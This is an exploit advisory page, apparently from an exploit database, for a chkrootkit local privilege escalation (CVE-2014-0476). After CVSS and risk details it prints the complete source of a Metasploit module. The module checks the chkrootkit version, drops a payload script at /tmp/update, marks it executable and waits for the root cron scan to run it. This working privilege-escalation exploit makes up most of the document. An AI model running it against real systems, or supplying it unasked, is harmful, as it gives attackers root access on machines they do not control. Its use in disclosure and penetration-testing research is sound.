Chkrootkit Local Privilege Escalation

2015.11.20
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 3.7/10
Impact Subscore: 6.4/10
Exploitability Subscore: 1.9/10
Exploit range: Local
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit4 < Msf::Exploit::Local # This could also be Excellent, but since it requires # up to one day to pop a shell, let's set it to Manual instead. Rank = ManualRanking include Msf::Post::File include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Chkrootkit Local Privilege Escalation', 'Description' => %q{ Chkrootkit before 0.50 will run any executable file named /tmp/update as root, allowing a trivial privsec. WfsDelay is set to 24h, since this is how often a chkrootkit scan is scheduled by default. }, 'Author' => [ 'Thomas Stangner', # Original exploit 'Julien "jvoisin" Voisin' # Metasploit module ], 'References' => [ ['CVE', '2014-0476'], ['OSVDB', '107710'], ['EDB', '33899'], ['BID', '67813'], ['CWE', '20'], ['URL', 'http://seclists.org/oss-sec/2014/q2/430'] ], 'DisclosureDate' => 'Jun 04 2014', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'SessionTypes' => ['shell', 'meterpreter'], 'Privileged' => true, 'Stance' => Msf::Exploit::Stance::Passive, 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'DefaultOptions' => {'WfsDelay' => 60 * 60 * 24} # 24h )) register_options([ OptString.new('CHKROOTKIT', [true, 'Path to chkrootkit', '/usr/sbin/chkrootkit']) ]) end def check version = cmd_exec("#{datastore['CHKROOTKIT']} -V 2>&1") if version =~ /chkrootkit version 0\.[1-4]/ Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def exploit print_warning('Rooting depends on the crontab (this could take a while)') write_file('/tmp/update', "#!/bin/sh\n(#{payload.encoded}) &\n") cmd_exec('chmod +x /tmp/update') register_file_for_cleanup('/tmp/update') print_status('Payload written to /tmp/update') print_status('Waiting for chkrootkit to run via cron...') end end

References:

http://seclists.org/oss-sec/2014/q2/430


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